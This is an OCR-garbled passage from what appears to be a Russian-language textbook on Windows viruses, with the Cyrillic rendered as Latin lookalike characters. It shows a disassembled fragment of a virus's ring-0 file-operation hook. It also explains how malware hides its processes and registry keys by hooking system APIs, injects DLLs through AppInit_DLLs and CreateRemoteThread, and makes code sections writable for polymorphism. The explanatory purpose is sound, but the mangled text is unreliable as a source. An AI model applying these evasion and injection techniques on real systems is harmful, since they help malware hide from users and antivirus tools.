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dows 9X. I I p n M e p a M H  M o r y T  c j iy j w r r h  B H p y c w  Win9X.Zerg.3849. 
Win9X.Filth.1030, Wm9X.Chimera.1542, Wm9X.Smash.l0262, Win9X. 
HPS.5124 h  npo'ine. Hanoojiee «n p o / iB H H y T b iM »- H B Jia e Tc a  n e p B b ift  H 3 
h h x ,  b o t  ero h  p a c c M O Tp H M . Bupyc j i r t i  r io jiy^ ie H H H  npHBHjieriiH 0-ro 
K O Jib u a  3 a m H T b i h  B CTpaH B aH H W  b  cJja im o B yio  c H C Te M y  n c n o .ib 3 y e T  H a 6o p  

n p n e M O B , H 3B e c T H b iii  H aM  n o  W in9X.CIH. B H p y c H b iH  o 6p a 6o T 4H K  

jio b m x  o n e p a u H #  B b in iH f lH T  c jie a y io iU H M  06pa30M:

00401340: pushfd
00401341: pushad

0040134C: cmp a l , 008 ; 3to saKPHTue te to a ’
0040134E: je 0004016B4
00401354: cmp a l,0 2 C  : 3 t o  noviCK 1 -ro  $afcia?
00401356: je 000401522
0040135C. cmp a l :002 ; 3to  po h ck  c/ieflyeiuero?
0040135E: je 000401522
00401364: Cfflp al.OOO ; 3to MTeHne $afeia?
00401366: je 000401607
0040136C: cmp a 1,001 ; 3to santicb b $aiiri?
0040136E: je 0004013C8
00401370: cmp a l , 024 ; 3 to  o T K p b r rn e  f c a i ln a ’

00401372: je 00040159A
00401378: cmp a l , 026 ;
0040137A: je 000401487
00401380: cmp al.OOA : 9 t o  n e p e M e iiie H M e  9

00401382: je 000401420
00401388: cmp a i ,0 1 1 i
0040138A: je 0004013E8

00401391: popad
00401392: popfd
00401393: c a l l  00 04013A3 : Ha opwrM HanbHM fi o S p a o o m n K

AHajinanpyH stot ĉ parMeHT, mojkho aaKJiioHHTb, hto BHpyc caMocroH- 
TeiibHO o6pa6aTbiBaeT 6o;ibuxoe icojiHHecTBo (JanJioBbix onepamifi. 3to 
e\ iy  HyacHO zuih Toro, hto6m He n03B0JiHTb npHKJiaflHUM nporpaMMaM 
3-ro KOJibua 3amHThi o6hapy>khTb nocTopoHHHe «H0B006pa30BaHHH» 
b 3apa*eHHHX 4)aftjiax.

A  b o t  <|>aHJioBbix B H p y c o B  (H e  t p o h h c k h x  n p o rp a M M  h H e  nepBeii!)  j\jm 
W indow s NT, n o c T y n a io m iix  n o ^ o 6n b iM  06p a 30M , b h a h m o , H e T. CnTya- 
u h i o  c NT-BHpycaMH, n b rra ro iU H M H c a  p a 6o T a T b  b  0-m K O Jib ije  3 a m H T u ,  m m  

yace  o o c y z u u in  H e cK O Jib K H M H  c T p a H H n a M H  paH ee.

43.9.2. MaacupoeKa npucymcmeun e naMnmu
H H o r / ia  b  u e jif lx  o S e c n e n e H H fl «H e B H # H M 0C T H »  B u n o jiH a e T C H  n o n b iT K a  

C K p b lTb  B n a M H T ii  K O M IIb lO Te p a  B blH H C JIH Te JIb H b ie  np O Iie C C b l, COOTBeTCT-
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Byromiie pa6oTaiomHM BHpycaM. TaKoe «noBe,aeHHe» He oneHb xapaicrep- 
HO flJIH ̂ JaHJlOBblX B H pycoB , HO UIHpOKO HCIIOJIb3yeTCSI B CeTeBbIX B H p y cax  

h nepBHX. TeM He MeHee TeMy «h6bh,zihmocth» BHpycoB b naM HTH Bee ace 
Hejiec006pa3H0 paccMOTpeTb b stoh ace rjiaBe.

B nepByio onepeab BHpycw CTapaioTCH cnpjrraTbca o t  nojib30BaTejra. 
Ecjih He npeanpHHiiMaTb hhk3khx MacKiipyiomHX Mep, t o  n0jib30BaTejib 
CMOaceT VBHfleTb Bpe/JOHOCHblH BblHHCJIHTeJIbHblH npOUeCC npH nOMOIUH 
<Tpex najn>ueB» -  to  ecib  HaacaB o^noBpeMeHHo miaBHiuH Ctri+Alt+Del. 
IIpH 3TOM Ha 3Kpane noaBHTCH MeHIO CO CIIHCKOM aKTHBHHX npoqeccoB, 
no3BojiHioinee nojib30BaTejiio Bbi6paTb h «y6nTb>> jiio6oh H3 hhx (Hy h j ih  

«nOHTH jik>6o h » ).

' 3aBepiueHHe pd6oTM nporpaMMW

n
Internal

T O

BHMMAHHE. IloBropHoe Ha*aTue Knaevtu CTRL+ALT+DEL 
npHBeaer k nepe3arpy3K© KDMraorepa.
Bee HecoxpaHeHHwe awHbte 6yayr npu stom yrepflHbi

CHgrb saaaMal âeepujKTb padory OtMena

6 O^ncneTM ep W im ivW S
[Bann Qapanetpw Bha OnpaBK*

E m
nptwomeHml npoueccu I EwcrpoAwcTBHe I

MRflo6paso I pid| lH Bpetifl UT1 1 ria«m> | a

tcpsvcs.exe 604 00 0:00:00 4 304 KB
svchost.exe 620 00 0:00:01 10 892 KB
lnetinfo.exe 1120 00 0:00:01 11 112KE
e*pfcrer. exe 1468 00 0:00:03 6536 KB
intemat.exe 1536 00 0:00:X 1 268 KB
tasfangr.exe 1552 00 0:00:00 1 996 KB

▼

JaeepujHTb npouecc

npoueccoe: 28 3apy3Ka L|n: 0% flawm.: 88416K / 471792K

Pmc. 4.14 ❖ MeHeflxepb) npoL(eccoB -  TASKMAN m TASKMGR: 
a) TASKMAN b  Windows 9X; 6) TASKMGR b Windows NT
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B  W in d o w s  9 X  3a 3T y  on epau H io  oTBenaeT CHCTewnasi nporpaM M a 

« T A S K M A N . E X E » ,  a  b  W in d o w s  N T  -  « T A S K M G R . E X E » .  HmrepecHO, 

m to b enHeKe 3aflan, n o jiyM em ioM  npH n oM om n  « T A S K M A N » ,  caM a 3Ta 

nporpaM M a oTcyrcTB yeT . R e n o  b  tom , mto b W in d o w s  9 X  (h o  He b W in d o w s  

N T ! )  m ojkho nporpaMMHO pacKJiacci«f)H nnpoBaTb Bee 3an ym eH H u e 3aaa- 

Mii Ha « o 6 b M H w e» h  «CHCTeMHbie», npHHeM « T A S K M A N »  noKa3MBaeT 

TOJibKO 3aflanH nepB oft rp ym ib i. C ooTB eTcray iom H H  npH3HaK npHCBaHBa- 

eTCH n p o u ec cy  n p n  n oM om n HeaoKyMeHTHpoBaHHoft CepBHCHoii (f)VHKi;nH 

«R e g is te rS e r v ic e P r o c e s s » ,  o 6 iiTa iom eH  b  « K E R N E L 3 2 .D L L » .  E c jih  n p o 

rpaM M a BbinojittaeT / laa ffy io  (JiyHKiuno, nepe^aB  e ft b KaMecTBe napaM eTpa 

3HaMeHHe 1, t o  n p o q e c c  3Toft nporpaM M bi HCMe3aeT H3 cnncK a. H o  «n o K y -  

naeTCH» Ha 3T0T HaHBHblft TpiOK TOJibKO n0JIb30BaTe.nb, npHMCHHromHft B 

W in d o w s  9 X  n porpaM M y « T A S K M A N » .  J Iio 6 o ft  a p y ro ft  m c to a  ripocMOTpa 

cnn cK a  Bbm ojiHH ioiu iixcH  3aaaq TaK n pocTo  o 6MaHyTb ce 6 a  He n03B0JiHT.

^TO 5Ke 3T0 3a MCTOflH? OHH OCHOBaHbl Ha HenOCpeflCTBeHHOM HC- 

n0JIb30B3HHH CepBHCHWX (JjyHKUHH OnepanHOHHOH CHCTeMbi. B  c e ra  

liirrepH eT  mojkho H a ftra  HeMajio MaTepHaJioB, pacKpbiBaiomHX no/ipo6 - 

HOCTH nOHCKa B naMHTH pa3JIHHHbIX 0 6 -beKT0B. EcjIH  pe3IOMHpOBaTb BCIO 

H H < J)o p M a u m o , coaepacamyiocH b s th x  MaTepHajiax, t o  rjiaBHhift bhbo/ i 

6y/teT TaKOB: VHHBepcajibHoro cn oco6a, npuroflH oro ju w  noncKa Bbinoji- 

hh iow h xch  n p o n e c c o B , H e cymecTByeT.
B  K a K O H -TO  M e pe H a  «y H H B e p c a jib H o c T b »  M o aceT u p e re H /iO B a Tb  cn oco6 , 

0C H 0B aH H bift H a n e p e M H C Jie m iH  B c e x  n p H c y r c T B y r o m iix  H a  3 K p aH e o k o h  

( b  tom  HHCJie h  C B e p H y T b ix ) n p w  n o M o n iH  c jjyH K U H H  «E n u m W in d o w s*  H3 

«U S E R 32 .D L L » .  / {e ftc TB H Te jib H O , o h  o/uiH aK O B O  p a 6o T a e T n p a K T H M e c K H  

b o  B c e x  c O B p e M e H H b ix  B e p cH H X  W in dow s, h o  aejiaeT s t o  0flH H a K 0B0 H e - 

HafleacHO -  Be/ib M H o r a e  B b in o jiH S H o m H e ca  nporpaMMbi, h  n p e » m e  Bcero 

K a K  p a 3  B H p y c b i, n p O C TO  H e H M e iO T C B H 3 a H H H X  C H H M H  OKOH. T a K  MTO 3 T 0 T  

cn oco6, p a c c M O Tp e H H b ift b  K O H Te K C Te  H aiueft K H H n i,  c .a e /iye r n p H 3 H a T b  

H e ya O B Jie TB O p H Te JIb H W M .

H o  y  Hero HeMajio ajibrepHaTHB. /Iji.h Bcex Bepcnft W indows 9X  h hc- 
KOTopbix BepcHH rpynnbi W indows N T  npnrofleH cnoco6 , ocHOBaHHbift 
Ha pa6oTe «CreateToolhelp32Snapshot>, «Process32First» h
«Process32Next». J\jih Bcex Bepcwft W indows N T  c ycnexoM MoaceT 6biTb 
ripHMeneH cnoco6, Hcnojib3yioinHft cjiyHKUino «ZwQuerySystem Infor- 
m ation», KOTopaa >khbct b 6H6jiHOTeKe «N T D L L .D L L » .  Bee coBpeMeH- 
Hbie Bepciin W indows, KpoMe W indows 95 n W indows N T  4.0 (ecjin  b Heft 
He ycTaHOBJieHbi «cepBHCiiaKH»), n03B0JWK>T nepeMHCJiHTb npoueccw npn 
noMomn 4>yHKUHH «EnumProcesses», aaiBymeft b «P S A P I.D L L » .  HaKO- 
Heu, fljia BepcHH «BeTBii» W indow s N T  arcryaJibHbi eme aaa cnoco6a:
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O  HCII0JIb3yK)mHH ^Ĉ eTHMKH npOH3BOflHTejIbHOCTH» H (JlVHKLUIH
«PdhOpenQuery», «  PdhAddCounter», «  PdhCollectQuery Datas-, 
« PdhGetRawCounterArray» h  «PdhCloseQuery»-, pacnojioaceH- 
Hbie b  6 n 6 jn ioTeKe «PDH .D LL»;

O  Hcno^bayiomHH MexaHH3M ^Windows Management Instrumen
tations a  rpynny 4>yHKUHH, cBH3aHHux c co3flaHHeM h npHMeHe- 
HHeM 06i>eKT0B « Web-Based Enterprise Managements.

JIio6bie nporpaM M bi, Hcnojib3yiomHe 3th cnoco6bi, -  6yflb to aHTH- 
Biipyc hjih (JjaHJiOBMH MeHefl>Kep FAR -  noTemwajibHo onacHM ana 
BHpyCOB, TaK KaK n03B0JUH0T He TOJIbKO «VBHaeTb» BIipyCHMH npoiiecc  

h npocMOTpen, coaepjKHMoe ero  aapecHoro npocTpaHCTBa, h o  flaace h 
«y 6 n rb » ero. IIosTOMy Biipycbi BbiHyatfleHU cKpbiBaxbcfl.

IlepBbiH  noflxofl, H cnojjb3yeMMH BHpyc awn, paccM inaH Ha oohm hhh  

o 6 MaH nojib30BaTejw . B o t  cKaaceTe, cMoaceTe jih  bm «HaBCKH,HKy» onpeae- 

JiHTb, Bpe^OHOceH h jih  H er nponecc c HMeHeM «S YSMON32.EXE*? Ecjih  

bw  n o iibrraerecb  cocTaBHTb CBoe MHeHHe 0 6  stom  iiponecce no  «SYS-» h  

no «-32», to pncKyeTe oneHb cnjibHo o iun 6 HTbCH, Beab Ha caMOM aejie sto 
BHpyc W in 3 2 .A id id .  B o jiee  h jih  MeHee onbiTHbiH n0jib30BaTejib o 6 u h h o  

HaH3ycTb noMHHT nepeMeHb npoueccoB, xapaKTepHwx a n a  «3 flopoB o ii» 

CHCTeMbi:

O  atsvc -  b Windows NT  cjiy>K6a njiarapoBaHiw n0Jib30BaTeJibCKHx 
3 a/ian;

O  clipsrv -  b Windows NT  3aBeayeT «6 y 4 > e p o M  o6MeHa» nepe3 DDE;
O  csrss -  b  Windows N T  noaztepacHBaeT pa6oTy no TexHojiorHH 

« k j ih c h t - c e p B e p »;

O  exp lo re r -  b Windows NT  h  9X npouecc nporpaMMbi «I lp o B o ;i-  

h h ks;

O  intemat -  b Windows NT  119X HH^HKaTop h  nepeKJHonaTejib fl3bi- 
Ka KJiaBHaTypw;

O  kemel32.dll -  b Windows 9X 3Ta 6H6jinoTeKa BHzina KaK npouecc;
O  llssrv -  b Windows NT c jich h t 3a co6jiiofleHHeM JiHueH3Hii;

O  Imrepl -  b Windows NT no/ijiepxcHBaeT penjiHKanm o <J>aHJioB;

O  loa d w c  -  b Windows NT  noaaepacHBaeT pa6oTy c Internet Explorer;
O  lo ca to r  -  b  Windows NT  (Tonnee, HaniiHaa c BepcHH 2000) jioKa- 

T o p  yflajieHHoro Bbi30Ba npone/iyp;

O  lsass -  b Windows NT HOCHTeJib Baaciibix cjiy* 6  ceTeBoro Ha3Ha- 
neHHH, TaKHX KaK «Net Logons ( «  AyTeHTHcfjHKamia y^ajieHHbix 
n0Jib30Bare.Teii»);

O  mmtask.tsk -  b  Windows 9X npoijecc noaaepacKH .viyjibTHMeflHH- 

hm x 3aflan;
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O  mprexe -  b  W indows 9X  cTaHflapTHWH chctcmhwh poyrep;
O  msgsrv32 -  b  W indows 9X  cepBep no;wepjKKH CHCTeMHbix coo6- 

meHHH;
O  nddeagnt -  b  W indows N T  o6ecneMHBaeT pa6oTy D D E  (o 6ineH 

aaHHHMH Me>Kay npmioaceHHHMH);
O  netdde -  b W indows N T  o6ecneifHBaex p a 6o T y  D D E  (o 6mch aan- 

hmmh Meac/iy npiiJioaceHHHMH);
O  ntvdm  -  b  W indows N T  nozwepacHBaeT pa6oTy npm ioxeHnii 

M S -D O S  h W indows 3.X;
O  pstores -  b W indows N T  ooecneHHBaeT 3am m y vh3bhmhx aaH

Hbix, TaKHx KaK kjiiomh mH(|>poBaHHH /jaHHbix, napojm H T. n.;
O  rpcss -  b W indow s N T  cJiyac6a noaaepaacH BbraoBa u BbinojiHeHHH 

y/iajieHHbix nponeayp, noaaepJKHBaiomaH TexHOJiormo D C O M ;
O  services -  b W indow s N T  HocnTeJib MaoacecTBa BaacHwx chctcm- 

hux ciiyjKO ceTeBoro h o6mero Ha3Ha4eHHH, TaKHx KaK ^Computer 
Browsers ( « I I p 0CM0Tpui;HK KOMnbioTepoB b  ceTeBOM OKpyjKe- 
h h h »), « Event Log* («06cJiy»:nBaHne CHCTeMHbix acypHa^0B>>), 
«P lu g  and P la y »  (^HacTpoiim iiK no/noiiOTaeMhix ycTpoftcTB») 
h t. n.;

O  smss -  b W indows N T  noaaepacHBaeT ceaHcu pa6oTbi no;n>30Ba- 
Tejin;

O  spoolss -  b  W indows N T  cjiy»c6a noaaepacKH ne^ara;
O  spool32 -  b  W indows 9 X  c;iyac6a noaaepacioi ne^ara;
O  svchost -  b W indows N T  (TOMHee, HaMHHaa c BepcHH 2000) ho- 

CHTejib MHOsicecxBa Ba»cHbix CHCTeMHbix a iy *:6 ceTeBoro h o6mero 
Ha3H3HeHHH, T3KHX KaK noaaepjKKa D C O M  H C O M + , aBTOMaTH- 
HecKoe 06H0BJieHHe chctcmh, 6paHflMaysp (cJraiipBOJUi) HHTepHeT- 
coeflHHeHHH, flHcneTHep JiornqecKHx ahckob, aHcnemep yaajieH- 
hux noflKJiioMeHHH h nponee;

O  system -  b W indows N T  npouecc o6cJiyacHBaHHH Kauieii. BHp- 

TyaJibHoii naMHTH h t. n.;
O  systray -  b W indows N T  h 9X  npHJioaceHHe nanejiH 3aaaM;
O  tapisrv -  b W indows N T  noaaepacHBaeT pa6oTy c HeKOTopbLMH

yCTpOHCTBaMH;
O  taskmgr -  b  W indows N T  flncneTHep 3a/ia4 ;
O  taskmon -  b  W indows 9X  aucneTiep 3aaaM:
O  ups -  b W indows N T  c jiy>«6a noaaepacKH HCTOHHHKa 6ecnepe6on- 

Horo nHTaHHH;
O  winlogon -  b W indows N T  nozuep>KHBaeT perncTpaHHio nojib3o- 

BaTejieii b CHCTeMe;
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O  winmgmt -  b Windows N T  (TOHHee, HanHHah c BepcHH 2000) noa- 

aepacHBaeT pa6oTy MM C;
O  winoa386.mod -  b Windows 9X nponecc noaaepaucH pa6ora koh- 

coJibHbix nporpaM M .
K oH enH O , 3 t o t  cn iicoK  nenoJioH , Beflb p a ,!  npoueccoB  3anycKaioTCH  

He aB T O M an riecK H  (HanpHMep, a lg  -  CJiy>K6a iujik>30b ypoBH H  npiiJio>Ke- 

h h h ) ,  a pHfl n p o n e c c o B  iio h b jih io tc h  BMecTe c y  craHOB j ic h h u m h  b h c iiih h -  

m h npH ^oaceHH HM H (H an p H M e p , osa h  findfast -  BMecTe c MS Office 97, 
ddhelp BMecTe c DirectX, a ptsnoop -  BMecTe c apaftBepaMH HeK0T0p b ix  

M OfleM OB). KpoMe t o t o ,  He Bee 3 t h  nponeccbi HyacHbi, h  b  TmaTeJibHO «Bbi- 
jiH3aHHOH> CHCTeMe h x  o 6 h h h o  ocTaeTca b  naMHTH He 6ojibine /uo jk hhh . 

TeM He MeHee n p n  on p eae jieH H O M  onbrre aflM HHHCTpnpoBaHHH onepa- 
i jh o h h o h  CHCTeMbi, a  oco6eH H O  b  c jiyn ae , K o r^ a  Bee HyacHbie n p o u e cc b i  

n o c jie  3aBepm eH H H  ycxaHOBKH «3 ,a0 p 0 B 0 H » c h c tc m h  B binncaH bi Ha 6 y -  

MaaceHKy, «n y »c a K a »  o 6 m h h o  b h ^ h o  cpa3y. Ho B H pyc  h  r y r  HM eeT rnaH CU  

«OTBecTH  r ; ia 3 a »  nojib30BaTejiK>. TnnH H H biH  npneM : CTapTOBaTb H3 cf)aH- 

j ia  co  B n o jin e  «n paB H J ibH b iM » HM eHeM  -  H anpH M ep, HeKOTOpbie BH pycbi 

oneHb j i io 6 h t  aurrb b  «C:\svchost.exe» h jih  « C:\WinNT\svchost. exe►. 
K a K  pacn o3 H aT b  KpaM OJiy? A  on eH b  n po cT o : npaBH JibHoe «MecTO>KHTeJib- 

c t b o »  3 T o ro  cjjaftjia -  K aT a jio r «C:\WinNT\SYSTEM32», h , K poM e Toro , 

b 4 Windows 9X» h  «  Windows N T  4.0» TaK oro  nponecca n p o cT o  He ob iB a - 

eT. / Ip y ro H . He M eH ee THnnnHbiH h  He MeHee HaHBHbiH n pn eM : n yT b -n yT b  

H3MeHHTb HMH npOUeCCa TaK, HTO&bl HeBHHMaTeJIbHblH n 0JIb30BaTeJIb He 

VBHfleJi pa3HHL(bi -  «svch0st» (c « h o j ih k o m » )  BMecTO «svchost» (c 6yK -  

B o ii «o »), «lsass»- (c «e fliiH H H K 0H »-) BM ecTo «lsass» (c 6yKB0H «1») h  t . n. 
TaKHM  06pa30M, b 6o jibm iiH C TB e cjiynaeB «B p a ra »  o S h h h o  yaaeTcn yB H - 

a eT b  H e B o o p y *e H H b iM  TJia30M h  ym iHToacHTb ro jib iM H  pyKaM H, h o  Jiyniue  

Bce-TaK H  n o p y n H T b  s t v  p a6 o T y  aHTHBHpycy, KO Topbiii «3 a ;ie3 eT » BHyTpb 

i i0/i03pHTe.ibH0r0 n poqecca  h  nocTaBH T b o  c})pa3e «K a3H H Tb He.nb3H no- 

MHJIOBaTb» 3anHTyiO B HV>KHOM MeCTe.

B Topoii noflxoa, HcnoJib3yeMbiH BHpycaMH hjih MacKiipoBKH b na
MHTH: OHH TCM HJIH HHMM CnOCo6oM BCTpaHB3K)TCH B UenOHKy flpafl- 
BepOB H CHCTeMHbIX 6H6jIIIOTeK H «BbITHpaiOT» B HCnOJIb3yeMbIX HMH 
c T p yK T yp a x  ziaHHbix HHcJx>pMauiiio o cBoeM n pH cyrcTB H H . B Windows 
N T  ajih s toh  n e.iH  OQbiMHO nepexBaraBaioTCH (jjyHKmm «ZwQuery- 
SystemInformation>> h «NtQuerySystemInformation»1, TaK KaK ohh 
pacnojio^ceHbi «6jiH»ce Bcex» k CHCTeMHbIM TaSjinnaM onepaiiHOHHOH 
CHCTeMbi h Bee ocTajibHbie cepBHCHbie c^yHKUHH flJiH nojiyneHHH cmicica

1 I l e p B a a  H3 h h x  -  « o 6 e p T ic a »  /XJia b t o [>o h .
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npoueccoB caMH o6pamaioTC» k hhm. B Windows 9X Bpaa jih mojkho npn- 
aywaTb tJTO-Hii6y/ib 6ojiee 3(J)(J)eKTHBHoe, neM nepexBaT «Process32First> 
h «Process32Next». IIpHMepoM Hcn0Jib30BaHHH noaoonbix TexHOJioniH 
Mo>KeT cjiyxcHTb ceTeBoii «HepBHK» Net-Worm.Win32.Padobot.z. Bot 
nepeneHb nepexBaTbiBaeMbix (h, cooTBeTCTBeHHO, Konrrpo Jinpy e\ibix) hm 
CHCTeMHblX CepBHCOB:

O b «KERNEL32.DLL» -  «FindNextFileW», «Process32Next»;
O  b«N T D L L .D L L »-«N tQuerySystemInformation»,«RtlGetNative- 

SystemInformation», «ZwQuerySystemInformation»;
O  b «ADWAPI32.DLL» -  «RegEnumKeyA», «RegEnumKeyExA», 

«RegEnumKeyW», «RegEnumKeyExW», « RegEnumValueA*, 
«  Reg Enu m Value W  ».

BnenaT.TaeT cmicoHeK. aa? Bnpo^eM, sto ceTeBoft nepBb, a bot 4>aftjio- 
bmx BHpycoB, npHMemnomnx noao6Hhie tpiokh, Bpoae 6u He cymecTBy- 
ct, ii sto TO>Ke 3aMeyaTeJibHo!

HaKoiien , Hejib3H He yuoMJmyTb HecKOJibKO oneHb KpacHBbix TexHo.io- 
THH MaCKHpOBKH, OCHOB3HHbIX Ha npHKpeiUieHHH BHpVCHOTO BblMHCJIH- 
TejibHoro npoiiecca k  apyroMy BbinojimnomeMycfl npoueccy. Pa6oTaioT 
3th TexHOJionm TOJibKO b Windows NT.

B npocTeHineM cjiynae BHpyc npocTo nponncbiBaeT ccbuiKy Ha cboio 
DLL-6H6jiHOTeKy b Kjnone «HKLM\Software\Microsoft\WindowsNT\ 
Current Version\Windows\AppInit_DLLs», h nocjie nepe3arpy3Kii 3Ta 
6H6jiHOTeica nonaaeT b aapecnbie npocTpaHCTBa Bcex nponeccoB. B xoae 
3arpy3KH jik>6oh aHHaMiraecKOH 6h6jihot6kh o/ihh pa3 cpa6aTbiBaeT 

HHHHHaJiH3HpyiomaH ee crapTOBaa ĉ yHKiiHH «DLLMain», cjieaoBaTe.ib- 
ho, BHpyc MoaceT nojiywrb ynpaBJieHHe, npocKaHHpoBaTb CBoe «H0B0e» 
aapecHoe npocTpaHCTBo, BiteflpHTb cboh koa b apynie 6n6jiHOTeicH h t. n.

BoJiee npO/lBHHyTbIM JIBJIHeTCH MeTOfl, HCnOJIb3yiOmiIH B03M0JKH0- 
cth CepBHCHoii (JjyHKHHH « CreateRemoteThread», KOTopaa jkhbct b 
«KERNEL32.DLI> Bcex BepcHH Windows. BnponeM, b Windows 9X 
OHa npocTo «aciiBeT»- (b BHae «nycTbmiKH»), a b Windows NT eme npn 
3tom h «paooTaeT». TaK bot, cTapTOBaB b Windows NT, BHpyc mohcct ot- 
KpMTb «mv5koh» nponecc (HanpHMep, « EXPLORER.EXE») npn noMo- 
uih cHCTeMHoro Bbi30Ba «OpenProcess» h «BnpbicHyrb» b Hero KanejibKy 
CBoero Koaa npn noMoiuH « Create RemoteThread»  -  3Ta TexHOJioniH TaK 
h Ha3biBaeTc.a: «  D L L- h m>e kh Ha ». To ecTb Koa BpeaoHOCHOH nporpaMMbi 
CTaHOBHTCa MacTbio HHoro, HanpHMep CHCTeMHoro, npouecca h, pa3yMe- 
eTCH, HH B OaHOM H3 C nH CK OB  He BHaeH B KaHeCTBe OTaeJIbHOH 3aaaHH .

FIpoHJunocTpupoBaTb ncn0Jib30BaHHe noao6Hbix TexHOJion-tM Ha npn- 
Mepe KaKoro-Hii6yab (fjaiijioBoro Biipyca neB03M05KH0. PaccMOTpeHHbie
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npHCMM BXOflflT B apCeHajI TOJIbKO -WepBHKOB» H «TpOHHOB», peMb O KO- 
Topbix noftaeT flajibiue.

43.9.3. MacKupoexa KJitoneu Peecmpa
K j i i o h h  P e e c T p a ,  H c n o j ib 3 y e M b ie  B H p y c o M  z i j ih  p e n i c T p a i iH H  b c h -  

C T e M e , T o a c e  H y a y ia iO T C f l  b c o k p h t h h .  IlepexBaTHB T e M  h j i h  h h h m  

cnoco6oM cHCTeMHbie (JjyHKiiHH «R egE n u m K ey», « RegEnum K ey E x » , 
«R egE num V alue», p a c n o J io a c e H H b ie  b «A D W A P I3 2 .D L L », B H p y c  m o -  

a ce T  H C K 3 3 H T b  B 0 3 B p a iH a e M y K >  H M H  H H ( J )O p M a m iK )  H , T a K H M  0 6 p a 3 0 M ,  

a e 3 H H ( j) O p M H p O B a T b  H 3 JIH IIJH e  J IK > 6 0 3 H a T e J Ib H 0 r0  n 0 J Ib 3 0 B a T e J IH , B O - 

o p y a c e H H o r o  c T a H f la p T H O H  c h c t c m h o h  y t h j i h t o h  «R E G E D IT » .  3a n p n -  

M e p a M H  z ta j ie K O  x o / tH T b  H e  n p H x o / iH T C H : B e e  t o t  a ce  Net-Worm. Win32. 
Padobot.z.

4.3.10. nonMMop(t>Hbie Bupycu b Windows
O f lH H M  H 3  MH(t>OB, a K T H B H O  npOflBHraBUIHXCH B  n 0JIb30BaTeJIbCKHe M a c c b l  

p a 3 p a 6 o T M H K a M i i  o n e p a m io H H o i i  c h c t c m m  Windows 9 5 ,  6 u j i  m h i| )  o  H e -  

B 0 3 M 0 a C H 0 C T H  C y il je C T B O B a H H H  B  3 T 0 H  C p e ^ e  CaMOMO/lHcfjHLlHpyiOIUHXCH 

nporpaMM. B  c a M O M  f le j ie ,  i i c n o J iH a e M H H  k o a  P E - n p o r p a M M  n o c j i e  3a- 
rpy3KH b  n a M S T b  n o n a ,a a e T  b  o T a e j ib H y io  c e K i iH io ,  j i j i h  K O T o p o i i  c6pomeH 
6h t  p a 3 p e m e H H H  3 a n i i c H .  I I o n b iT K a  B b in o j iH H T b  M o z m c jH iK a u m o  S T o r o  

4 > p a rM e H T a  n a M H T H  o y a e T  M r a o B e m io  n p e c e n e H a  n p o n e c c o p o M  n y i e M  r e -  

H e p a m m  H C K J i io i ie H H H  ODh.
P a 3 y M e e T C H , 3 a K p b rrb iH  T y p H H K e T  b  M e T p o  n p e flH a 3 H a n e H  T o jib K o  f ljia  

3 a K 0 H 0 n 0 C J iy u iH b ix  « r p a a y ia H » .  O c r a j i b H h ie  ace M o r y r  o 6 o h t h  e ro  c 6o - 

Ky, n p e ^ b H B H B  K O H T p o jie p m e  «K p a c H b ie  K o p o < iK H » . E m e  T y p H H K e T  M oac- 

h o  n e p e n p b ir a y T b .  H a K O H e i;,  iiM e a  n o a x o a a m y io  k o m iu ic k u h k ) ,  M 0acH0 
npOCTO npOTHCHJTbCH M e a ca y X pO M H p O B a H H b lM H  npyTbaM H .

/I,jih  T o r o  ace, H T o 6bi n e p e o p a T b c a  n e p e 3  B H p iy a jib H b ie  « i y p H H K e T h i » ,  

y c T p o e H H b ie  o n e p a m io H H o ii  c h c tb m o h  W i n d o w s ,  a o c T a T O H H O  y c T a H o - 

B H T b  b e f lH H im y  6h t  pa3pemeHHH 3 a n H C H  b  k o / io b o h  c c k u h h  3apaaceH - 

h o h  nporpaMMbi, -  a  j ih  « a p o n n e p a »  (n p o rp a M M b i, H 3  K O T o p o fi c T a p T y e T  

nepBoe n o K O Jie H H e  B H p y c a )  s t o  M oacHo c a e jia ib  n p H  n o M o m n  y T H J iH T b i 

r a n a  «PE W R SE C », a /ijlh  3apaacaeM bix nporpaMM s t o  o y ^ e T  a e Jia Tb  

ca M  B H p y c . B o t ,  H a n p H M e p , T a 6jm u a  c e io jH H  £ jm  (^a it/ ia , 3ap a a ce H H o ro  

B H p y c o M  Win32.Rainsong.3891 (c m . T a 6ji. 4.11). 06paraTe B H H M aH H e 

H a n o c jie / im o io  c c k u h io ,  b  K O T o p o n  n o  3 a a yM K e  nporpaMMHCTOB (|)HpM bi 

M i c r o s o f t  A O Jia cH H  6m jih  x p a H H T b c a  nepeMemaeMue c c m jik h , a BOBce He 

H c n o jiH a e M b iH  K o a , k  T O M y  ace a o c T y n n b i i i  a  j ih  3 a n H C H !
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T a G m m a  4 .1 1 .  T a 6 m m a  c e K n n it  b  n p o rp a M M e ,  
a a p a M e H H o ti a t tp y c o M  R a in s o n g

Name VirtSize RVA PhysSize Offset Flags
1 .text 3E9C 1000 4000 1000 60000020 r.ec.....
2 .data 84C 5000 1000 5000 C0000040 rw...d...
3 .idata DE8 6000 1000 6000 40000040 r....d...
3 .rsrc 6000 7000 6000 7000 40000040 r....d...
4 .reloc 3000 D000 2000 D000 E2000060 rw ec.d...

/Ipyroii cnoco6 npeoaojieHira «TypHHKeTa» 3aKJifonaeTCH b KonnpoBa- 
hhh Te.na BHpvca b ctck, Beflb ajih 3Toro pernoHa nporpaMMHon naMHTH b 

onepaijHOHHbix cncTeMax W indow s 9X h W indow s N T  (KpoMe Bpo^e 6 u  

Window's Vista h 7) pa3pemeHbi KaK TreHiie, TaK h 3amicb. a eme Hcnoji- 
Hemie Haxoflamerocfl TaM Koaa.

H y  h Ha 3aKycKy -  oTKpbrrae co6cTBeHHoro nponecca cpe^cTBaMH 

«O penProcess» (c  napaMeTpoM PROCESS_ALL_ACCESS) h 3arincb 

b Hero npn noMomu «  Wri teProcessMemory ».
TaKHM 06pa30M, 3amicb b KOflOBbie cckhhh nporpaMM Bce-TaKH B03- 

MO>KHa. H, 3HaHHT, caMOMOiUKjiHUHpyiomHecH nporpaMMbi (MHTaii -  «no - 
jiHMop<J>Hbie» h oauiHcjjpoBaHHbie* Biipycbi) b Windows 9X/NT cymecr- 
BOBaTb Moryr. /teficTBHTeJibHo, ohh ecTb, h hx MHoro -  no KpafcieH Mepe, 
HecKOJibKO coTeH. M Bee ohh oneHb pa3Hbie.

HanpHMep, BHpyc Win32.Koru neMoncTpnpyer fl0B0JibH0 npHMHTHB- 
Hyio TexHHKy nojiHMopc})H3Ma, Hcno.Tb3jTomyio pa36aBJieHHe co6ctbch- 
